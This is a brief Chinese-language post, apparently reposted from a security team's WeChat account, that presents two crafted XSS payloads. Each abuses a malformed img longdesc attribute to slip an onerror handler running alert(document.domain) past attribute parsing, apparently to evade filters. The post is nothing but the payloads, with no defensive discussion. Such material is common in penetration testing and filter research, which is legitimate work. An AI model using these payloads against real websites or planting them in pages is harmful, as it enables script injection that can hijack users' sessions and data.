奇思妙计 XSS Payload

1: 

<img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'>

2: 

<img  longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//"" src="x" alt="showme">

本文始发于微信公众号（Khan安全团队）：奇思妙计 XSS Payload